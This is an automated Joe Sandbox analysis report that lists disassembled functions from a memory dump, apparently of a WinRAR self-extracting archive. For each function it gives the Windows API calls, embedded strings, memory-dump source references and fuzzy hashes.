API ID: CallFramesMatchNestedTypeUnexpectedUnwind_aborttype_info::operator==
String ID: csm$csm$csm
API String ID: 322700389-393685449
Opcode ID: bf4cf308c97c7bd0212095403d53df0a71f25621e42da5bbc22da9fbd1dd0fb2
Instruction ID: cea477270c9feb1f195a1b94010f193aa1c8afa9016a08d437d07be45714e681
Opcode Fuzzy Hash: bf4cf308c97c7bd0212095403d53df0a71f25621e42da5bbc22da9fbd1dd0fb2
Instruction Fuzzy Hash: A8B19CB2800229EFCF19DFA4E8419AEBBB5FF14314B15605AF8017B292D735EA51CF91

Function 00E1E8DF Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 184COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00E1E8FE
ShowWindow.USER32(?,00000000), ref: 00E1EA6D
GetExitCodeProcess.KERNEL32(?,?), ref: 00E1EAA9
CloseHandle.KERNEL32(?), ref: 00E1EACF
ShowWindow.USER32(?,00000001), ref: 00E1EB31

Strings

Ld, xrefs: 00E1E9F9
.exe, xrefs: 00E1EAD9
.inf, xrefs: 00E1E9EA

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: ShowWindow$CloseCodeExitHandleProcess_wcslen
String ID: .exe$.inf$Ld
API String ID: 783751319-2437036993
Opcode ID: db2af8fe4060e4daeb732a9fe0a3522c49dc6de4c0cdf4a54afde90453c43f6b
Instruction ID: 0476b531ad2a78443b7bf5d69b57de3f39640d7a3bf9d364da87f72738d5dfa0
Opcode Fuzzy Hash: db2af8fe4060e4daeb732a9fe0a3522c49dc6de4c0cdf4a54afde90453c43f6b
Instruction Fuzzy Hash: B651F5715083809EDB319B21A845AEBBBE5BF81748F08285DFDC1B7390E7B199C8D752

Function 00E1C7B0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 98windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00E012F6: GetDlgItem.USER32(00000000,00003021), ref: 00E0133A
Part of subcall function 00E012F6: SetWindowTextW.USER32(00000000,00E345F4), ref: 00E01350

EndDialog.USER32(?,00000001), ref: 00E1C800
SendMessageW.USER32(?,00000080,00000001,?), ref: 00E1C827
SendDlgItemMessageW.USER32(?,00000066,00000172,00000000,?), ref: 00E1C840
SetWindowTextW.USER32(?,?), ref: 00E1C851
GetDlgItem.USER32(?,00000065), ref: 00E1C85A
SendMessageW.USER32(00000000,00000435,00000000,00010000), ref: 00E1C86E
SendMessageW.USER32(00000000,00000443,00000000,00000000), ref: 00E1C884

Strings

LICENSEDLG, xrefs: 00E1C7C4

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: MessageSend$Item$TextWindow$Dialog
String ID: LICENSEDLG
API String ID: 3214253823-2177901306
Opcode ID: ddf71fc419b84a14d4769d56a49459966825bcc2653a3a731e0aa3ac64bf2025
Instruction ID: 7fd88f041e7256638af16128e6f7702ea23904ba7f30e7859e7678af8a1e0256
Opcode Fuzzy Hash: ddf71fc419b84a14d4769d56a49459966825bcc2653a3a731e0aa3ac64bf2025
Instruction Fuzzy Hash: D321B433280600BFD2155F36FC89FBF3BACEB4AB89F144419F600F11A0CBA2A8459631

Function 00E0B5D6 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 87COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00E0B5E2

Part of subcall function 00E12701: GetSystemTime.KERNEL32(?), ref: 00E1270F
Part of subcall function 00E12701: SystemTimeToFileTime.KERNEL32(?,?), ref: 00E1271D

Part of subcall function 00E126AA: __aulldiv.LIBCMT ref: 00E126B3

__aulldiv.LIBCMT ref: 00E0B60E
GetCurrentProcessId.KERNEL32(00000000,?,000186A0,00000000,?,?,00000800,?), ref: 00E0B615
_swprintf.LIBCMT ref: 00E0B640

Part of subcall function 00E04A20: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00E04A33

_wcslen.LIBCMT ref: 00E0B64A
_swprintf.LIBCMT ref: 00E0B6A0
_wcslen.LIBCMT ref: 00E0B6AA

Strings

%u.%03u, xrefs: 00E0B630, 00E0B694

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: Time_wcslen$System__aulldiv_swprintf$CurrentFileProcess__vswprintf_c_l
String ID: %u.%03u
API String ID: 2956649372-1114938957
Opcode ID: 998476eda201774227bd0aec7bc0012b307df9ea67f5b7f8ed9babdc5243026a
Instruction ID: 1410cd5db42b073820e39e4062d550c7caa025582de3b5174f0a4ff2789b8942
Opcode Fuzzy Hash: 998476eda201774227bd0aec7bc0012b307df9ea67f5b7f8ed9babdc5243026a
Instruction Fuzzy Hash: D9219FB2A08304AFD214EB64DC85DAB77ECEBD4310F04592AF545F3281DB31DA4887A2

Function 00E1BC2B Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 68timeCOMMON

Download Yara Rule

APIs

FileTimeToSystemTime.KERNEL32(?,?), ref: 00E1BC3F
SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 00E1BC50
SystemTimeToFileTime.KERNEL32(?,?), ref: 00E1BC5E
FileTimeToSystemTime.KERNEL32(?,?), ref: 00E1BC6C
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 00E1BC87
GetTimeFormatW.KERNEL32(00000400,?,?,00000000,?,00000032), ref: 00E1BCAE
_swprintf.LIBCMT ref: 00E1BCD4

Strings

%s %s, xrefs: 00E1BCC9

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: Time$System$File$Format$DateLocalSpecific_swprintf
String ID: %s %s
API String ID: 385609497-2939940506
Opcode ID: f4410f37117f2cc626c93f401030a4c4f1b76f2671f51e8f449539788aee9a58
Instruction ID: ad9f44b5539d277354d2e7b0b584880701ef29612dbf549ef0be3e1bcc36316c
Opcode Fuzzy Hash: f4410f37117f2cc626c93f401030a4c4f1b76f2671f51e8f449539788aee9a58
Instruction Fuzzy Hash: 9421C5B254115CAFDB119FA1EC48EEF3BACFF19344F140466FA05E2151E620AA498B60

Function 00E20ED0 Relevance: 13.7, APIs: 9, Instructions: 154memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00E0C43F,00E0C441,00000000,00000000,F2964C79,00000001,00000000,00000000,00E0C32C,?,?,?,00E0C43F,ROOT\CIMV2), ref: 00E20F59
MultiByteToWideChar.KERNEL32(00000000,00000000,00E0C43F,?,00000000,00000000,?,?,?,?,?,00E0C43F), ref: 00E20FD4
SysAllocString.OLEAUT32(00000000), ref: 00E20FDF
_com_issue_error.COMSUPP ref: 00E21008
_com_issue_error.COMSUPP ref: 00E21012
GetLastError.KERNEL32(80070057,F2964C79,00000001,00000000,00000000,00E0C32C,?,?,?,00E0C43F,ROOT\CIMV2), ref: 00E21017
_com_issue_error.COMSUPP ref: 00E2102A
GetLastError.KERNEL32(00000000,?,00E0C43F,ROOT\CIMV2), ref: 00E21040
_com_issue_error.COMSUPP ref: 00E21053

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: _com_issue_error$ByteCharErrorLastMultiWide$AllocString
String ID:
API String ID: 1353541977-0
Opcode ID: 10817b906fc52c5e17bc13d6ced7ba373e402bc7c4d22e8d4444c3140c742cee
Instruction ID: 0c5c010020bcdee58d570846a1c51dfeae6df2fb8e6c80d1b4ef70c762f5f394
Opcode Fuzzy Hash: 10817b906fc52c5e17bc13d6ced7ba373e402bc7c4d22e8d4444c3140c742cee
Instruction Fuzzy Hash: C34128B1A00224AFDB109F64EC45FAEBBE9FB08710F10526AF405F72C1D775A940CBA5

Function 00E0C3F7 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 210COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00E0C3FC

Strings

WQL, xrefs: 00E0C4AF
Name, xrefs: 00E0C583
Windows 10, xrefs: 00E0C595
SELECT * FROM Win32_OperatingSystem, xrefs: 00E0C49D
ROOT\CIMV2, xrefs: 00E0C42F

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: H_prolog
String ID: Name$ROOT\CIMV2$SELECT * FROM Win32_OperatingSystem$WQL$Windows 10
API String ID: 3519838083-3505469590
Opcode ID: 366c396dff2072452b899a50f7bbcda876cef464c7348d24f3384b301089e81d
Instruction ID: 5dfe49aa69de8fc1b6959f7436c9009aab64f04e3e0b09570ea289c82ae2cea2
Opcode Fuzzy Hash: 366c396dff2072452b899a50f7bbcda876cef464c7348d24f3384b301089e81d
Instruction Fuzzy Hash: 26714F71A002199FDB14DFA5CC989BFBBB9FF88714B241259E516B72E0CB30AD45CB50

Function 00E0A5E9 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 135fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00E0A5EE
GetLongPathNameW.KERNEL32(?,?,00000800), ref: 00E0A611
GetShortPathNameW.KERNEL32(?,?,00000800), ref: 00E0A630

Part of subcall function 00E0D6A7: _wcslen.LIBCMT ref: 00E0D6AF

Part of subcall function 00E13316: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_00013316,00E0D523,00000000,.exe,?,?,00000800,?,?,?,00E19E5C), ref: 00E1332C

_swprintf.LIBCMT ref: 00E0A6CC

Part of subcall function 00E04A20: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00E04A33

MoveFileW.KERNEL32(?,?), ref: 00E0A73B
MoveFileW.KERNEL32(?,?), ref: 00E0A77B

Strings

rtmp%d, xrefs: 00E0A6B5

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: FileMoveNamePath$CompareH_prologLongShortString__vswprintf_c_l_swprintf_wcslen
String ID: rtmp%d
API String ID: 3726343395-3303766350
Opcode ID: 261993dc950cc84ccbb7d58c5ac7aff4f15d36f4c75b1d0da22a8c6a1a26197e
Instruction ID: e0db16860f0b24f1d04acb8ee553d1879eb57cc7d77479a557a68ab38f24e083
Opcode Fuzzy Hash: 261993dc950cc84ccbb7d58c5ac7aff4f15d36f4c75b1d0da22a8c6a1a26197e
Instruction Fuzzy Hash: 964161719006186ACB20ABA0CC44EEF77BCBF54344F0854B6B555B3086EB349AC5CF61

Function 00E12538 Relevance: 12.1, APIs: 8, Instructions: 125timeCOMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00E1254E

Part of subcall function 00E0C619: GetVersionExW.KERNEL32(?), ref: 00E0C63E

FileTimeToLocalFileTime.KERNEL32(00000003,00000000,00000003,?,00000064,00000000,00000000,00000001), ref: 00E12571
FileTimeToSystemTime.KERNEL32(00000003,?,00000003,?,00000064,00000000,00000000,00000001), ref: 00E12583
SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 00E12594
SystemTimeToFileTime.KERNEL32(?,?), ref: 00E125A4
SystemTimeToFileTime.KERNEL32(?,?), ref: 00E125B4
FileTimeToSystemTime.KERNEL32(?,?,?), ref: 00E125EF
__aullrem.LIBCMT ref: 00E12699

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion__aulldiv__aullrem
String ID:
API String ID: 1247370737-0
Opcode ID: 9aefcd25900867dc0189b497b5908c183c7cd1a161617f6548c2f3621d3830fd
Instruction ID: 337f8ae6b309bd50471920387319a4e14d5948b9a9432efc10f962240726ed38
Opcode Fuzzy Hash: 9aefcd25900867dc0189b497b5908c183c7cd1a161617f6548c2f3621d3830fd
Instruction Fuzzy Hash: 774139B15083059FC710DF65D8849ABBBF9FF88314F00892EF696D2250E734E599CB62

Function 00E1AD1E Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00E1AD2A

Strings

<br>, xrefs: 00E1AE1E
</p>, xrefs: 00E1AE08
</style>, xrefs: 00E1AE72
>, xrefs: 00E1AD6B
<style>, xrefs: 00E1AE50

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: _wcslen
String ID: </p>$</style>$<br>$<style>$>
API String ID: 176396367-3568243669
Opcode ID: fdf1ba04a244408231ef899169f64212630a8b4cf8074affccee6ae4186b456b
Instruction ID: e2378266c9355f7159b7d61ebcc6a84f1657e7d5d999c2fe00acb93532b87693
Opcode Fuzzy Hash: fdf1ba04a244408231ef899169f64212630a8b4cf8074affccee6ae4186b456b
Instruction Fuzzy Hash: 9851F57664272291DB305A24A8117F673E0DFA0769F6C643BF981BB6C0FB658DC18262

Function 00E3084D Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,00E30FC2,00000000,00000000,00000000,00000000,00000000,?), ref: 00E3088F
__fassign.LIBCMT ref: 00E3090A
__fassign.LIBCMT ref: 00E30925
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,00000000,00000005,00000000,00000000), ref: 00E3094B
WriteFile.KERNEL32(?,00000000,00000000,00E30FC2,00000000,?,?,?,?,?,?,?,?,?,00E30FC2,00000000), ref: 00E3096A
WriteFile.KERNEL32(?,00000000,00000001,00E30FC2,00000000,?,?,?,?,?,?,?,?,?,00E30FC2,00000000), ref: 00E309A3

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: 1663ba72a054ef2ac1014008b9fedcb8abc31cc29fb49ed3d58a865448b6a559
Instruction ID: 752a32457849b436057785ef42852569ac210cc9e9d4dde591e266273a792ee4
Opcode Fuzzy Hash: 1663ba72a054ef2ac1014008b9fedcb8abc31cc29fb49ed3d58a865448b6a559
Instruction Fuzzy Hash: DF51B4B1A002099FDB10CFA8D859BEEBFF8EF89300F14511AE555F7292D730A940CB61

Function 00E23A90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00E23AC7
___except_validate_context_record.LIBVCRUNTIME ref: 00E23ACF
_ValidateLocalCookies.LIBCMT ref: 00E23B58
__IsNonwritableInCurrentImage.LIBCMT ref: 00E23B83
_ValidateLocalCookies.LIBCMT ref: 00E23BD8

Strings

csm, xrefs: 00E23B6D

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: ab703acee29ccfb175df7525b5daea8eae6345f063fefac97ceaca017cb2f962
Instruction ID: 25fb42e6f335c9659bb5796b5ba07e7970267a53afed587d96c6a7d7d27fa75c
Opcode Fuzzy Hash: ab703acee29ccfb175df7525b5daea8eae6345f063fefac97ceaca017cb2f962
Instruction Fuzzy Hash: 6441B274A00228AFCF10DF79E885A9EBBF4AF45328F149165E8147B392D735AE05CF90

Function 00E1AEF5 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,00000000), ref: 00E1AF0E
GetWindowRect.USER32(?,?), ref: 00E1AF64
ShowWindow.USER32(?,00000005,00000000), ref: 00E1B001
SetWindowTextW.USER32(?,00000000), ref: 00E1B009
ShowWindow.USER32(00000000,00000005), ref: 00E1B01F

Strings

RarHtmlClassName, xrefs: 00E1AFC5

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: Window$Show$RectText
String ID: RarHtmlClassName
API String ID: 3937224194-1658105358
Opcode ID: 5c404bc2616a4522a6bb7954befdff252553c5f8023eb3ed538e5820403ec9e6
Instruction ID: 2080a62409d0b844e73631105081a6fb9ecdb994ba1ec2c9c3880a95a9c02360
Opcode Fuzzy Hash: 5c404bc2616a4522a6bb7954befdff252553c5f8023eb3ed538e5820403ec9e6
Instruction Fuzzy Hash: 1941D472506714EFCB219F20EC49BAB7BE8EF0D754F184569F84979052DB70D848CB61

Function 00E1A975 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 106COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00E1A97E
_wcslen.LIBCMT ref: 00E1A9B3

Strings

<br>, xrefs: 00E1A9FF
<style>body{font-family:"Arial";font-size:12;}</style>, xrefs: 00E1A9A7
 , xrefs: 00E1AA41
, xrefs: 00E1A9D0

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: _wcslen
String ID: $ $<br>$<style>body{font-family:"Arial";font-size:12;}</style>
API String ID: 176396367-3743748572
Opcode ID: c10ddd3a0246367bb87f6fa651ba3f13f8da526b9a46550ab0e42dba882f895b
Instruction ID: 66311057b2929dc602a2390756848fc29992a3723fe6f5496ddcf5db4131cf38
Opcode Fuzzy Hash: c10ddd3a0246367bb87f6fa651ba3f13f8da526b9a46550ab0e42dba882f895b
Instruction Fuzzy Hash: 6F313A7264470196D630BB54AD42AF673E4EF90324F58A43FF495772C0FA60A9C4C3A7

Function 00E2DA64 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00E2DA28: _free.LIBCMT ref: 00E2DA51

_free.LIBCMT ref: 00E2DAB2

Part of subcall function 00E2A66A: RtlFreeHeap.NTDLL(00000000,00000000,?,00E2DA56,00E34ADC,00000000,00E34ADC,00000000,?,00E2DA7D,00E34ADC,00000007,00E34ADC,?,00E2DE7A,00E34ADC), ref: 00E2A680
Part of subcall function 00E2A66A: GetLastError.KERNEL32(00E34ADC,?,00E2DA56,00E34ADC,00000000,00E34ADC,00000000,?,00E2DA7D,00E34ADC,00000007,00E34ADC,?,00E2DE7A,00E34ADC,00E34ADC), ref: 00E2A692

_free.LIBCMT ref: 00E2DABD
_free.LIBCMT ref: 00E2DAC8
_free.LIBCMT ref: 00E2DB1C
_free.LIBCMT ref: 00E2DB27
_free.LIBCMT ref: 00E2DB32
